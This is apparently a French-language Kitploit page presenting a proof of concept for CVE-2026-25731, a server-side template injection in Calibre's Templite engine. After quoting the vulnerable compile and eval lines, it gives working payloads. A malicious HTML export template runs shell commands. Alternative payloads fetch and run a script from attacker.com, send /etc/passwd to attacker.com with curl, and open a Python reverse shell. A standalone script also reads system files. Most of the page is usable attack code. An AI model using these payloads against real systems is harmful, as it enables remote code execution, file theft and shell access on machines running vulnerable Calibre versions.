CVE-2026-25731 — Preuve de concept pour une vulnérabilité d’injection de modèles côté serveur (SSTI) dans le moteur Templite de Calibre (GHSA-xrh9-w7qx-3gcc). Démontre l’exécution arbitraire de code Python via des modèles d’exportation HTML fournis par l’utilisateur dans les versions concernées (≤ 9.1.0). | Kitploit

# Ligne 72 : Le modèle est compilé en code Python
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')

# Ligne 90 : Le code compilé est exécuté via eval()
def render(self, __namespace=None, **kw):
    # ...
    eval(self.__code, namespace)  # Exécution arbitraire de code

# Lignes 96-98 : Le fichier de modèle fourni par l'utilisateur est chargé
if opts.template_html_index is not None:
    with open(opts.template_html_index, 'rb') as f:
        template_html_index_data = f.read()

# Ligne 136 : Le modèle est transmis au moteur Templite vulnérable
templite = Templite(template_html_index_data)

<!DOCTYPE html>
<html>
<head><title>Modèle malveillant</title></head>
<body>
<h1>Livre converti !</h1>
<!-- La charge utile SSTI exécute des commandes arbitraires -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>

# Exécution de commande
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$

# Exfiltration de fichiers
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$

# Shell inversé
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$

#!/usr/bin/env python3
import sys
sys.path.insert(0, '/chemin/vers/calibre/src')
from templite import Templite

# Exécution de commande
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("Utilisateur :", t.render())  # Affiche le nom d'utilisateur actuel

# Lecture de fichier
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("Fichier :", t.render())  # Affiche la première ligne de /etc/passwd

CVE-2026-25731

Populaires

À propos

Preuve de concept (PoC)

1. Créer un fichier de modèle malveillant

2. Exécuter la conversion de livre électronique avec le modèle malveillant

3. Vérifier l'exécution du code

Charges utiles alternatives

Vérification autonome

Impact